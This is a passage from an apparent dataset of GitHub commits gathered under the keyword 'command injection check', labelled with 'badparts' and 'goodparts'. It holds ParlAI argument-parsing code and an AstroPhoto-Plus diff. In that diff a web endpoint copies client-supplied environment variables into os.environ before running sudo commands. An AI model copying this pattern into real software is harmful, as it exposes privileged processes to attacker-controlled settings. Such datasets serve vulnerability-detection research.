mturk.add_argument(\n '--count-complete', dest='count_complete',\n default=False, action='store_true',\n help='continue until the requested number of conversations are '\n 'completed rather than attempted')\n mturk.add_argument(\n '--allowed-conversations', dest='allowed_conversations',\n default=0, type=int,\n help='number of concurrent conversations that one mturk worker '\n 'is able to be involved in, 0 is unlimited')\n mturk.add_argument(\n '--max-connections', dest='max_connections',\n default=30, type=int,\n help='number of HITs that can be launched at the same time, 0 is '\n 'unlimited.'\n )\n mturk.add_argument(\n '--min-messages', dest='min_messages',\n default=0, type=int,\n help='number of messages required to be sent by MTurk agent when '\n 'considering whether to approve a HIT in the event of a '\n 'partner disconnect. I.e. if the number of messages '\n 'exceeds this number, the turker can submit the HIT.'\n )\n mturk.add_argument(\n '--local', dest='local', default=False, action='store_true',\n help='Run the server locally on this server rather than setting up'\n ' a heroku server.'\n )\n\n mturk.set_defaults(is_sandbox=True)\n mturk.set_defaults(is_debug=False)\n mturk.set_defaults(verbose=False)\n\n def add_messenger_args(self):\n messenger = self.add_argument_group('Facebook Messenger')\n messenger.add_argument(\n '--debug', dest='is_debug', action='store_true',\n help='print and log all server interactions and messages')\n messenger.add_argument(\n '--verbose', dest='verbose', action='store_true',\n help='print all messages sent to and from Turkers')\n messenger.add_argument(\n '--log-level', dest='log_level', type=int, default=20,\n help='importance level for what to put into the logs. the lower '\n 'the level the more that gets logged. values are 0-50')\n messenger.add_argument(\n '--force-page-token', dest='force_page_token', action='store_true',\n help='override the page token stored in the cache for a new one')\n messenger.add_argument(\n '--password', dest='password', type=str, default=None,\n help='Require a password for entry to the bot')\n messenger.add_argument(\n '--local', dest='local', action='store_true', default=False,\n help='Run the server locally on this server rather than setting up'\n ' a heroku server.'\n )\n\n messenger.set_defaults(is_debug=False)\n messenger.set_defaults(verbose=False)\n\n def add_parlai_args(self, args=None):\n default_downloads_path = os.path.join(self.parlai_home, 'downloads')\n parlai = self.add_argument_group('Main ParlAI Arguments')\n parlai.add_argument(\n '-t', '--task',\n help='ParlAI task(s), e.g. \"babi:Task1\" or \"babi,cbt\"')\n parlai.add_argument(\n '--download-path', default=default_downloads_path,\n help='path for non-data dependencies to store any needed files.'\n 'defaults to {parlai_dir}/downloads')\n parlai.add_argument(\n '-dt', '--datatype', default='train',\n choices=['train', 'train:stream', 'train:ordered',\n 'train:ordered:stream', 'train:stream:ordered',\n 'valid', 'valid:stream', 'test', 'test:stream'],\n help='choose from: train, train:ordered, valid, test. to stream '\n 'data add \":stream\" to any option (e.g., train:stream). '\n 'by default: train is random with replacement, '\n 'valid is ordered, test is ordered.')\n parlai.add_argument(\n '-im', '--image-mode', default='raw', type=str,\n help='image preprocessor to use. default is \"raw\". set to \"none\" '\n 'to skip image loading.')\n parlai.add_argument(\n '-nt', '--numthreads', default=1, type=int,\n help='number of threads. If batchsize set to 1, used for hogwild; '\n 'otherwise, used for number of threads in threadpool loading,'\n ' e.g. in vqa')\n parlai.add_argument(\n '--hide-labels', default=False, type='bool',\n help='default (False) moves labels in valid and test sets to the '\n 'eval_labels field. If True, they are hidden completely.')\n batch = self.add_argument_group('Batching Arguments')\n batch.add_argument(\n '-bs', '--batchsize', default=1, type=int,\n help='batch size for minibatch training schemes')\n batch.add_argument('-bsrt', '--batch-sort', default=True, type='bool',\n help='If enabled (default True), create batches by '\n 'flattening all episodes to have exactly one '\n 'utterance exchange and then sorting all the '\n 'examples according to their length. This '\n 'dramatically reduces the amount of padding '\n 'present after examples have been parsed, '\n 'speeding up training.')\n batch.add_argument('-clen', '--context-length', default=-1, type=int,\n help='Number of past utterances to remember when '\n 'building flattened batches of data in multi-'\n 'example episodes.')\n batch.add_argument('-incl', '--include-labels',\n default=True, type='bool',\n help='Specifies whether or not to include labels '\n 'as past utterances when building flattened '\n 'batches of data in multi-example episodes.')\n self.add_parlai_data_path(parlai)\n\n def add_model_args(self):\n \"\"\"Add arguments related to models such as model files.\"\"\"\n model_args = self.add_argument_group('ParlAI Model Arguments')\n model_args.add_argument(\n '-m', '--model', default=None,\n help='the model class name. can match parlai/agents/ for '\n 'agents in that directory, or can provide a fully specified '\n 'module for `from X import Y` via `-m X:Y` '\n '(e.g. `-m parlai.agents.seq2seq.seq2seq:Seq2SeqAgent`)')\n model_args.add_argument(\n '-mf', '--model-file', default=None,\n help='model file name for loading and saving models')\n model_args.add_argument(\n '--dict-class',\n help='the class of the dictionary agent uses')\n\n def add_model_subargs(self, model):\n \"\"\"Add arguments specific to a particular model.\"\"\"\n agent = get_agent_module(model)\n try:\n if hasattr(agent, 'add_cmdline_args'):\n agent.add_cmdline_args(self)\n except argparse.ArgumentError:\n # already added\n pass\n try:\n if hasattr(agent, 'dictionary_class'):\n s = class2str(agent.dictionary_class())\n self.set_defaults(dict_class=s)\n except argparse.ArgumentError:\n # already added\n pass\n\n def add_task_args(self, task):\n \"\"\"Add arguments specific to the specified task.\"\"\"\n for t in ids_to_tasks(task).split(','):\n agent = get_task_module(t)\n try:\n if hasattr(agent, 'add_cmdline_args'):\n agent.add_cmdline_args(self)\n except argparse.ArgumentError:\n # already added\n pass\n\n def add_image_args(self, image_mode):\n \"\"\"Add additional arguments for handling images.\"\"\"\n try:\n parlai = self.add_argument_group('ParlAI Image Preprocessing Arguments')\n parlai.add_argument('--image-size', type=int, default=256,\n help='resizing dimension for images')\n parlai.add_argument('--image-cropsize', type=int, default=224,\n help='crop dimension for images')\n except argparse.ArgumentError:\n # already added\n pass\n\n\n def add_extra_args(self, args=None):\n \"\"\"Add more args depending on how known args are set.\"\"\"\n parsed = vars(self.parse_known_args(nohelp=True)[0])\n\n # find which image mode specified if any, and add additional arguments\n image_mode = parsed.get('image_mode', None)\n if image_mode is not None and image_mode != 'none':\n self.add_image_args(image_mode)\n\n # find which task specified if any, and add its specific arguments\n task = parsed.get('task', None)\n if task is not None:\n self.add_task_args(task)\n evaltask = parsed.get('evaltask', None)\n if evaltask is not None:\n self.add_task_args(evaltask)\n\n # find which model specified if any, and add its specific arguments\n model = parsed.get('model', None)\n if model is not None:\n self.add_model_subargs(model)\n\n # reset parser-level defaults over any model-level defaults\n try:\n self.set_defaults(**self._defaults)\n except AttributeError:\n raise RuntimeError('Please file an issue on github that argparse '\n 'got an attribute error when parsing.')\n\n\n def parse_known_args(self, args=None, namespace=None, nohelp=False):\n \"\"\"Custom parse known args to ignore help flag.\"\"\"\n if nohelp:\n # ignore help\n args = sys.argv[1:] if args is None else args\n args = [a for a in args if a != '-h' and a != '--help']\n return super().parse_known_args(args, namespace)\n\n\n def parse_args(self, args=None, namespace=None, print_args=True):\n \"\"\"Parses the provided arguments and returns a dictionary of the\n ``args``. We specifically remove items with ``None`` as values in order\n to support the style ``opt.get(key, default)``, which would otherwise\n return ``None``.\n \"\"\"\n self.add_extra_args(args)\n self.args = super().parse_args(args=args)\n self.opt = vars(self.args)\n\n # custom post-parsing\n self.opt['parlai_home'] = self.parlai_home\n if 'batchsize' in self.opt and self.opt['batchsize'] <= 1:\n # hide batch options\n self.opt.pop('batch_sort', None)\n self.opt.pop('context_length', None)\n\n # set environment variables\n if self.opt.get('download_path'):\n os.environ['PARLAI_DOWNPATH'] = self.opt['download_path']\n if self.opt.get('datapath'):\n os.environ['PARLAI_DATAPATH'] = self.opt['datapath']\n\n # map filenames that start with 'models:' to point to the model zoo dir\n if self.opt.get('model_file') is not None:\n self.opt['model_file'] = modelzoo_path(self.opt.get('datapath'),\n self.opt['model_file'])\n if self.opt.get('dict_file') is not None:\n self.opt['dict_file'] = modelzoo_path(self.opt.get('datapath'),\n self.opt['dict_file'])\n\n # set all arguments specified in commandline as overridable\n option_strings_dict = {}\n store_true = []\n store_false = []\n for group in self._action_groups:\n for a in group._group_actions:\n if hasattr(a, 'option_strings'):\n for option in a.option_strings:\n option_strings_dict[option] = a.dest\n if '_StoreTrueAction' in str(type(a)):\n store_true.append(option)\n elif '_StoreFalseAction' in str(type(a)):\n store_false.append(option)\n\n for i in range(len(self.cli_args)):\n if self.cli_args[i] in option_strings_dict:\n if self.cli_args[i] in store_true:\n self.overridable[option_strings_dict[self.cli_args[i]]] = \\\n True\n elif self.cli_args[i] in store_false:\n self.overridable[option_strings_dict[self.cli_args[i]]] = \\\n False\n else:\n if i < (len(self.cli_args) - 1) and \\\n self.cli_args[i+1][0] != '-':\n self.overridable[option_strings_dict[self.cli_args[i]]] = \\\n self.cli_args[i+1]\n self.opt['override'] = self.overridable\n\n if print_args:\n self.print_args()\n\n return self.opt\n\n def print_args(self):\n \"\"\"Print out all the arguments in this parser.\"\"\"\n if not self.opt:\n self.parse_args(print_args=False)\n values = {}\n for key, value in self.opt.items():\n values[str(key)] = str(value)\n for group in self._action_groups:\n group_dict = {\n a.dest: getattr(self.args, a.dest, None)\n for a in group._group_actions\n }\n namespace = argparse.Namespace(**group_dict)\n count = 0\n for key in namespace.__dict__:\n if key in values:\n if count == 0:\n print('[ ' + group.title + ': ] ')\n count += 1\n print('[ ' + key + ': ' + values[key] + ' ]')\n\n def set_params(self, **kwargs):\n \"\"\"Set overridable kwargs.\"\"\"\n self.set_defaults(**kwargs)\n for k, v in kwargs.items():\n self.overridable[k] = v\n"}}, "msg": "Fix args injection inside add_extra_args (#802)\n\nA recent change broke callers that were using the Predictor class from inside another application (and thus with different command line parameters). Calling parse_known_args without injecting the args forces it to resolve sys.argv, which in that case do not correspond at all to ParlAI parameters."}}, "https://github.com/GuLinux/AstroPhoto-Plus": {"e6232890bc46fcee90a71417094d5d5060ac687f": {"url": "https://api.github.com/repos/GuLinux/AstroPhoto-Plus/commits/e6232890bc46fcee90a71417094d5d5060ac687f", "html_url": "https://github.com/GuLinux/AstroPhoto-Plus/commit/e6232890bc46fcee90a71417094d5d5060ac687f", "message": "Backend support for command checking, and environment variables injection", "sha": "e6232890bc46fcee90a71417094d5d5060ac687f", "keyword": "command injection check", "diff": "diff --git a/backend/models/commands.py b/backend/models/commands.py\nindex d04947a..57d4fd8 100644\n--- a/backend/models/commands.py\n+++ b/backend/models/commands.py\n@@ -14,6 +14,9 @@ def __init__(self, obj, readonly=False):\n self.arguments = obj.get('arguments', [])\n self.readonly = readonly\n self.ui_properties = obj.get('ui_properties', None)\n+ self.confirmation_message = obj.get('confirmation_message', None)\n+ self.request_environment = obj.get('request_environment', None)\n+ self._check = obj.get('check', None)\n \n def to_map(self):\n return {\n@@ -24,12 +27,28 @@ def to_map(self):\n 'arguments': self.arguments,\n 'readonly': self.readonly,\n 'ui_properties': self.ui_properties,\n+ 'confirmation_message': self.confirmation_message,\n+ 'request_environment': self.request_environment,\n+ 'check': self._check\n }\n \n- def run(self):\n+ def check(self):\n+ if not self._check:\n+ return True\n+ try:\n+ result = subprocess.run(self._check, stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n+ return result.returncode == 0\n+ except:\n+ return False\n+\n+ def run(self, request_obj):\n args = [self.program]\n args.extend(self.arguments)\n- result = subprocess.run(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n+ subprocess_env = os.environ\n+ if 'environment' in request_obj:\n+ subprocess_env.update(request_obj['environment'])\n+\n+ result = subprocess.run(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, env=subprocess_env)\n return {\n 'exit_code': result.returncode,\n 'stdout': result.stdout.decode() if result.stdout else None,\n@@ -45,17 +64,18 @@ def __init__(self):\n with open(ro_commands_file, 'r') as json_commands_file:\n commands.extend(json.load(json_commands_file))\n self.commands = [Command(c, readonly=True) for c in commands]\n+ self.commands = [c for c in self.commands if c.check()]\n \n def to_map(self):\n return [c.to_map() for c in self.commands]\n \n- def run(self, command_id):\n+ def run(self, command_id, request_obj):\n commands = [c for c in self.commands if c.id == command_id]\n if not commands:\n raise NotFoundError('Command with id {} not found'.format(command_id))\n \n command = commands[0]\n- return command.run()\n+ return command.run(request_obj)\n \n commands = Commands()\n \ndiff --git a/backend/star-quew.py b/backend/star-quew.py\nindex 6e5ef53..b5ae0e9 100644\n--- a/backend/star-quew.py\n+++ b/backend/star-quew.py\n@@ -412,7 +412,8 @@ def get_available_commands():\n return commands.to_map()\n \n @app.route('/api/commands//run', methods=['POST'])\n+@json_input\n @json_api\n-def run_command(id):\n- return commands.run(id)\n+def run_command(id, json):\n+ return commands.run(id, json)\n \ndiff --git a/docs/raspberry-pi-commands.json b/docs/raspberry-pi-commands.json\nnew file mode 100644\nindex 0000000..b2d4c58\n--- /dev/null\n+++ b/docs/raspberry-pi-commands.json\n@@ -0,0 +1,64 @@\n+[\n+ {\n+ \"id\": \"1\",\n+ \"name\": \"Shutdown\",\n+ \"program\": \"sudo\",\n+ \"arguments\": [\"systemctl\", \"poweroff\"],\n+ \"category\": \"System\",\n+ \"ui_properties\": {\n+ \"icon\": \"shutdown\",\n+ \"color\": \"red\"\n+ }\n+ },\n+ {\n+ \"id\": \"2\",\n+ \"name\": \"Reboot\",\n+ \"program\": \"sudo\",\n+ \"arguments\": [\"systemctl\", \"reboot\"],\n+ \"category\": \"System\",\n+ \"ui_properties\": {\n+ \"icon\": \"redo\",\n+ \"color\": \"red\"\n+ }\n+ },\n+ {\n+ \"id\": \"3\",\n+ \"name\": \"Turn on wifi\",\n+ \"program\": \"sudo\",\n+ \"arguments\": [\"wifi-ap-ctl\", \"on\"],\n+ \"category\": \"Wifi\",\n+ \"check\": [\"wifi-ap-ctl\", \"is-on\"],\n+ \"ui_properties\": {\n+ \"icon\": \"wifi\"\n+ }\n+ },\n+ {\n+ \"id\": \"4\",\n+ \"name\": \"Turn off wifi\",\n+ \"program\": \"sudo\",\n+ \"arguments\": [\"wifi-ap-ctl\", \"off\"],\n+ \"category\": \"Wifi\",\n+ \"check\": [\"wifi-ap-ctl\", \"is-off\"],\n+ \"ui_properties\": {\n+ \"icon\": \"wifi\"\n+ }\n+ },\n+ {\n+ \"id\": \"5\",\n+ \"name\": \"Configure access point\",\n+ \"program\": \"sudo\",\n+ \"arguments\": [\"wifi-ap-ctl\", \"configure-ap\"],\n+ \"category\": \"Wifi\",\n+ \"check\": [\"wifi-ap-ctl\", \"is-on\"],\n+ \"request_environment\": {\n+ \"message\": \"Enter ESSID and Secret for your access point. Please note that clicking \\\"run\\\" will automatically restart your server\",\n+ \"variables\": [\n+ { \"label\": \"ESSID\", \"name\": \"ESSID\" },\n+ { \"label\": \"Secret\", \"name\": \"PSK\" }\n+ ]\n+ },\n+ \"ui_properties\": {\n+ \"icon\": \"wifi\"\n+ }\n+ }\n+]\ndiff --git a/frontend/src/Commands/Commands.js b/frontend/src/Commands/Commands.js\nindex 2857916..aec41de 100644\n--- a/frontend/src/Commands/Commands.js\n+++ b/frontend/src/Commands/Commands.js\n@@ -3,6 +3,43 @@ import { apiFetch } from '../middleware/api';\n \n import { Label, Message, Modal, Container, Grid, Button, Header } from 'semantic-ui-react';\n \n+const CommandResultModal = ({commandName, commandLine, visible, onClose, result}) => {\n+ const isSuccess = result && result.exit_code === 0;\n+ return (\n+ \n+ \n+ \n+ \n+ Command {commandLine} finished with exit code: {result && result.exit_code}.\n+ \n+ {result && result.stdout && (\n+ \n+
    \n+ 
    {result.stdout}
    \n+ \n+ )}\n+ {result && result.stderr && (\n+ \n+
    \n+ 
    {result.stderr}
    \n+ \n+ )}\n+\n+ \n+ \n+ );\n+}\n+\n \n class Command extends React.Component {\n constructor(props) {\n@@ -21,42 +58,12 @@ class Command extends React.Component {\n render = () => { \n const { result, showResult, running } = this.state;\n const { command } = this.props;\n- const isSuccess = result && result.exit_code === 0;\n+\n const uiProperties = { icon: 'play', color: 'grey', ...(command.ui_properties || {}) };\n const { icon, ...buttonProps } = uiProperties;\n return (\n \n- this.update({showResult: false})}\n- closeIcon\n- >\n- \n- \n- \n- Command {this.commandLine()} finished with exit code: {result && result.exit_code}.\n- \n- {result && result.stdout && (\n- \n-
    \n- 
    {result.stdout}
    \n- \n- )}\n- {result && result.stderr && (\n- \n-
    \n- 
    {result.stderr}
    \n- \n- )}\n-\n- \n- \n+ this.update({showResult: false})} commandLine={this.commandLine()} commandName={command.name} />\n this.setState({...this.state, ...updated});\n \n+ requestBody = () => {\n+ let request = {\n+ timestamp: new Date(),\n+ };\n+ return request;\n+ }\n+\n run = async () => {\n this.update({ running: true });\n try {\n- let reply = await apiFetch(`/api/commands/${this.props.command.id}/run`, { method: 'POST' });\n+ let reply = await apiFetch(`/api/commands/${this.props.command.id}/run`, {\n+ method: 'POST',\n+ body: JSON.stringify(this.requestBody()),\n+ headers: {\n+ 'Content-Type': 'application/json',\n+ },\n+ });\n this.update({ result: reply.json, running: false, showResult: true});\n } catch(err) {\n this.update({ running: false});\n", "files": {"/backend/models/commands.py": {"changes": [{"diff": "\n 'arguments': self.arguments,\n 'readonly': self.readonly,\n 'ui_properties': self.ui_properties,\n+ 'confirmation_message': self.confirmation_message,\n+ 'request_environment': self.request_environment,\n+ 'check': self._check\n }\n \n- def run(self):\n+ def check(self):\n+ if not self._check:\n+ return True\n+ try:\n+ result = subprocess.run(self._check, stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n+ return result.returncode == 0\n+ except:\n+ return False\n+\n+ def run(self, request_obj):\n args = [self.program]\n args.extend(self.arguments)\n- result = subprocess.run(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n+ subprocess_env = os.environ\n+ if 'environment' in request_obj:\n+ subprocess_env.update(request_obj['environment'])\n+\n+ result = subprocess.run(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, env=subprocess_env)\n return {\n 'exit_code': result.returncode,\n 'stdout': result.stdout.decode() if result.stdout else None,\n", "add": 18, "remove": 2, "filename": "/backend/models/commands.py", "badparts": [" def run(self):", " result = subprocess.run(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE)"], "goodparts": [" 'confirmation_message': self.confirmation_message,", " 'request_environment': self.request_environment,", " 'check': self._check", " def check(self):", " if not self._check:", " return True", " try:", " result = subprocess.run(self._check, stdin=subprocess.PIPE, stdout=subprocess.PIPE)", " return result.returncode == 0", " except:", " return False", " def run(self, request_obj):", " subprocess_env = os.environ", " if 'environment' in request_obj:", " subprocess_env.update(request_obj['environment'])", " result = subprocess.run(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, env=subprocess_env)"]}, {"diff": "\n with open(ro_commands_file, 'r') as json_commands_file:\n commands.extend(json.load(json_commands_file))\n self.commands = [Command(c, readonly=True) for c in commands]\n+ self.commands = [c for c in self.commands if c.check()]\n \n def to_map(self):\n return [c.to_map() for c in self.commands]\n \n- def run(self, command_id):\n+ def run(self, command_id, request_obj):\n commands = [c for c in self.commands if c.id == command_id]\n if not commands:\n raise NotFoundError('Command with id {} not found'.format(command_id))\n \n command = commands[0]\n- return command.run()\n+ return command.run(request_obj)\n \n commands = Commands()\n ", "add": 3, "remove": 2, "filename": "/backend/models/commands.py", "badparts": [" def run(self, command_id):", " return command.run()"], "goodparts": [" self.commands = [c for c in self.commands if c.check()]", " def run(self, command_id, request_obj):", " return command.run(request_obj)"]}], "source": "\nfrom.model import random_id import subprocess import json import os from.settings import settings from.exceptions import NotFoundError, BadRequestError class Command: def __init__(self, obj, readonly=False): self.id=random_id(obj.get('id')) self.name=obj['name'] self.category=obj.get('category', 'Misc') self.program=obj['program'] self.arguments=obj.get('arguments',[]) self.readonly=readonly self.ui_properties=obj.get('ui_properties', None) def to_map(self): return{ 'id': self.id, 'name': self.name, 'category': self.category, 'program': self.program, 'arguments': self.arguments, 'readonly': self.readonly, 'ui_properties': self.ui_properties, } def run(self): args=[self.program] args.extend(self.arguments) result=subprocess.run(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE) return{ 'exit_code': result.returncode, 'stdout': result.stdout.decode() if result.stdout else None, 'stderr': result.stderr.decode() if result.stderr else None, } class Commands: def __init__(self): commands=[] ro_commands_file=os.path.join(settings.config_dir, 'commands.json') if os.path.isfile(ro_commands_file): with open(ro_commands_file, 'r') as json_commands_file: commands.extend(json.load(json_commands_file)) self.commands=[Command(c, readonly=True) for c in commands] def to_map(self): return[c.to_map() for c in self.commands] def run(self, command_id): commands=[c for c in self.commands if c.id==command_id] if not commands: raise NotFoundError('Command with id{} not found'.format(command_id)) command=commands[0] return command.run() commands=Commands() ", "sourceWithComments": "from .model import random_id\nimport subprocess\nimport json\nimport os\nfrom .settings import settings\nfrom .exceptions import NotFoundError, BadRequestError\n\nclass Command:\n def __init__(self, obj, readonly=False):\n self.id = random_id(obj.get('id'))\n self.name = obj['name']\n self.category = obj.get('category', 'Misc')\n self.program = obj['program']\n self.arguments = obj.get('arguments', [])\n self.readonly = readonly\n self.ui_properties = obj.get('ui_properties', None)\n\n def to_map(self):\n return {\n 'id': self.id,\n 'name': self.name,\n 'category': self.category,\n 'program': self.program,\n 'arguments': self.arguments,\n 'readonly': self.readonly,\n 'ui_properties': self.ui_properties,\n }\n\n def run(self):\n args = [self.program]\n args.extend(self.arguments)\n result = subprocess.run(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n return {\n 'exit_code': result.returncode,\n 'stdout': result.stdout.decode() if result.stdout else None,\n 'stderr': result.stderr.decode() if result.stderr else None,\n }\n \n\nclass Commands:\n def __init__(self):\n commands = []\n ro_commands_file = os.path.join(settings.config_dir, 'commands.json')\n if os.path.isfile(ro_commands_file):\n with open(ro_commands_file, 'r') as json_commands_file:\n commands.extend(json.load(json_commands_file))\n self.commands = [Command(c, readonly=True) for c in commands]\n\n def to_map(self):\n return [c.to_map() for c in self.commands]\n\n def run(self, command_id):\n commands = [c for c in self.commands if c.id == command_id]\n if not commands:\n raise NotFoundError('Command with id {} not found'.format(command_id))\n\n command = commands[0]\n return command.run()\n\ncommands = Commands()\n\n"}, "/backend/star-quew.py": {"changes": [{"diff": "\n return commands.to_map()\n \n @app.route('/api/commands//run', methods=['POST'])\n+@json_input\n @json_api\n-def run_command(id):\n- return commands.run(id)\n+def run_command(id, json):\n+ return commands.run(id, json)\n", "add": 3, "remove": 2, "filename": "/backend/star-quew.py", "badparts": ["def run_command(id):", " return commands.run(id)"], "goodparts": ["@json_input", "def run_command(id, json):", " return commands.run(id, json)"]}], "source": "\nfrom flask import jsonify, Response, send_from_directory, request from api_decorators import * from api_utils import * from models import Server, Sequence, SequenceItem, NotFoundError, Property, Device, INDIProfile, ImagesDatabase, camera_images_db, main_images_db, commands import os from controller import controller from app import app import logging import io default_settings={} gunicorn_logger=logging.getLogger('gunicorn.error') app.logger.handlers=gunicorn_logger.handlers is_debug_mode=int(os.environ.get('DEV_MODE', '0'))==1 app.logger.setLevel(os.environ.get('LOG_LEVEL', 'DEBUG' if is_debug_mode else 'INFO')) @app.route('/api/version') @json_api def backend_version(): return app.config['version'] @app.route('/api/events') def events(): return Response(controller.sse.subscribe().feed(), mimetype='text/event-stream') @app.route('/api/settings', methods=['GET']) @json_api def get_settings(): return controller.settings.to_map() @app.route('/api/settings', methods=['PUT']) @json_input @json_api def update_settings(json): controller.settings.update(json) updated_settings=controller.settings.to_map() return dict([setting for setting in updated_settings.items() if setting[0] in json]) @app.route('/api/indi_service/status', methods=['GET']) @json_api def get_indi_service_status(): return controller.indi_service.status() @app.route('/api/indi_service', methods=['GET']) @json_api def get_indi_service(): return controller.indi_service.to_map() @app.route('/api/indi_service/start', methods=['POST']) @json_input @json_api def start_indi_service(json): try: controller.indi_service.start(json['devices']) return{ 'indi_service': 'starting'} except RuntimeError as e: raise BadRequestError(str(e)) @app.route('/api/indi_service/stop', methods=['POST']) @json_api def stop_indi_service(): controller.indi_service.stop() return{ 'indi_service': 'stopping'} @app.route('/api/indi_profiles', methods=['GET']) @json_api def get_indi_profiles(): return[x.to_map() for x in controller.indi_profiles] @app.route('/api/indi_profiles/', methods=['GET']) @json_api def get_indi_profile(id): return controller.indi_profiles.lookup(id).to_map() @app.route('/api/indi_profiles/', methods=['DELETE']) @json_api def delete_indi_profile(id): indi_profile=controller.indi_profiles.lookup(id) indi_profile_json=indi_profile.to_map() indi_profile_json.update({'status': 'deleted'}) controller.indi_profiles.remove(indi_profile) return indi_profile_json @app.route('/api/indi_profiles', methods=['POST']) @json_input @json_api def new_indi_profile(json): try: new_indi_profile=INDIProfile(name=json['name'], devices=json['devices']) controller.indi_profiles.append(new_indi_profile) return new_indi_profile.to_map() except KeyError: raise BadRequestError('Invalid json') @app.route('/api/indi_profiles/', methods=['PUT']) @json_input @json_api def update_indi_profile(id, json): updated_profile=None with controller.indi_profiles.lookup_edit(id) as profile: profile.update(json) updated_profile=profile.to_map() return updated_profile @app.route('/api/server/status', methods=['GET']) @json_api def get_server_status(): return controller.indi_server.to_map() @app.route('/api/server/connect', methods=['PUT']) @json_api def connect_server(): controller.indi_server.connect() is_error=not timeout(5)(controller.indi_server.is_connected)() return notify('indi_server', 'indi_server_connect', controller.indi_server.to_map(), is_error) @app.route('/api/server/disconnect', methods=['PUT']) @json_api @indi_connected def disconnect_server(): controller.indi_server.disconnect() is_error=not timeout(5)(lambda: not controller.indi_server.is_connected())() return notify('indi_server', 'indi_server_disconnect', controller.indi_server.to_map(), is_error) @app.route('/api/server/devices', methods=['GET']) @json_api @indi_connected def get_devices(): return[x.to_map() for x in controller.indi_server.devices()] @app.route('/api/server/devices//properties', methods=['GET']) @json_api @indi_connected def get_device_properties(name): device=controller.indi_server.device(name=name) return[p.to_map() for p in device.properties()] @app.route('/api/server/devices//properties/', methods=['PUT']) @json_input @json_api @indi_connected def update_indi_property(device, property_name, json): app.logger.debug('update property:{}/{}({})'.format(device, property_name, json)) indi_property=controller.indi_server.property(device=device, name=property_name) return{ 'action': 'set_property', 'device': device, 'property': property_name, 'values': json, 'result': indi_property.set_values(json)} @app.route('/api/filter_wheels', methods=['GET']) @json_api @indi_connected def get_filter_wheels(): return[x.to_map() for x in controller.indi_server.filter_wheels()] @app.route('/api/sequences', methods=['GET']) @json_api def get_sequences(): return[x.to_map() for x in controller.sequences] @app.route('/api/sequences/', methods=['GET']) @json_api def get_sequence(id): return controller.sequences.lookup(id).to_map() @app.route('/api/sequences/', methods=['DELETE']) @json_api def delete_sequence(id): sequence=controller.sequences.lookup(id) sequence_json=sequence.to_map() sequence_json.update({'status': 'deleted'}) controller.sequences.remove(sequence) return sequence_json @app.route('/api/sequences', methods=['POST']) @json_input @json_api def new_sequence(json): try: new_sequence=Sequence(json['name'], json['directory'], json['camera'], json.get('filterWheel')) controller.sequences.append(new_sequence) return new_sequence.to_map() except KeyError: raise BadRequestError('Invalid json') @app.route('/api/sequences//start', methods=['POST']) @json_api def start_sequence(id): controller.sequences_runner.run(id) return controller.sequences.lookup(id).to_map() @app.route('/api/sequences//duplicate', methods=['POST']) @json_api def duplicate_sequence(id): return controller.sequences.duplicate(id).to_map() @app.route('/api/sequences//sequence_items', methods=['POST']) @json_input @json_api def add_sequence_item(id, json): new_sequence_item=SequenceItem(json) with controller.sequences.lookup_edit(id) as sequence: app.logger.debug('adding sequence item{} to id{}'.format(new_sequence_item, id)) sequence.sequence_items.append(new_sequence_item) return new_sequence_item.to_map() @app.route('/api/sequences//sequence_items/', methods=['PUT']) @json_input @json_api def update_sequence_item(sequence_id, sequence_item_id, json): app.logger.debug('modifying sequence item{} from sequence'.format(sequence_item_id, sequence_id)) new_sequence_item=SequenceItem(json) with controller.sequences.lookup_edit(sequence_id) as sequence: sequence.sequence_items=[new_sequence_item if x.id==sequence_item_id else x for x in sequence.sequence_items] return new_sequence_item.to_map() @app.route('/api/sequences//sequence_items//move', methods=['PUT']) @json_input @json_api def move_sequence_item(sequence_id, sequence_item_id, json): app.logger.debug('moving sequence item{}: direction:{}'.format(sequence_item_id, json['direction'])) with controller.sequences.lookup_edit(sequence_id) as sequence: index=[ index for index, item in enumerate(sequence.sequence_items) if item.id==sequence_item_id] if not index: raise NotFoundError('Sequence item{} not found in sequence{}'.format(sequence_item_id, sequence_id)) index=index[0] new_index=index-1 if json['direction']=='up' else index+1 if new_index >=0 and new_index < len(sequence.sequence_items): sequence.sequence_items.insert(new_index, sequence.sequence_items.pop(index)) return sequence.to_map() @app.route('/api/sequences//sequence_items//duplicate', methods=['PUT']) @json_api def duplicate_sequence_item(sequence_id, sequence_item_id): app.logger.debug('duplicate item{}'.format(sequence_item_id)) with controller.sequences.lookup_edit(sequence_id) as sequence: sequence_item=sequence.item(sequence_item_id) sequence.sequence_items.append(sequence_item.duplicate()) return sequence.to_map() @app.route('/api/sequences//sequence_items/', methods=['DELETE']) @json_api def delete_sequence_item(sequence_id, sequence_item_id): with controller.sequences.lookup_edit(sequence_id) as sequence: sequence_item=sequence.item(sequence_item_id) sequence_item=sequence_item.to_map() sequence_item.update({'status': 'deleted'}) sequence.sequence_items=[x for x in sequence.sequence_items if x.id !=sequence_item_id] return sequence_item @app.route('/api/cameras', methods=['GET']) @json_api @indi_connected def get_cameras(): return[x.to_map() for x in controller.indi_server.cameras()] def lookup_camera(id): camera=[c for c in controller.indi_server.cameras() if c.id==id] if not camera: raise NotFoundError('Camera{} not found'.format(json['camera'])) return camera[0] @app.route('/api/cameras//image', methods=['POST']) @json_input @json_api @indi_connected def shoot_image(camera, json): return lookup_camera(camera).shoot_image(json) def get_image_database(type): image_databases={ 'camera': camera_images_db, 'main': main_images_db, } if not type in image_databases: raise BadRequestError('Image type{} not recognized'.format(type)) return image_databases[type] @app.route('/api/images///wait_until_ready', methods=['GET']) @json_api def wait_for_image(type, image): get_image_database(type).lookup(image, file_required=False).wait_until_ready() return{ 'ready': True} @app.route('/api/images///ready', methods=['GET']) @json_api def image_is_ready(type, image): if get_image_database(type).lookup(image, file_required=False).is_ready(): return{ 'ready': True} else: raise NotFoundError('Image with type{} and id{} not found'.format(type, imag)) @app.route('/api/images/', methods=['GET']) @json_api def retrieve_images(type): return get_image_database(type).to_map() @app.route('/api/images//', methods=['GET']) @managed_api def retrieve_image(type, image): with 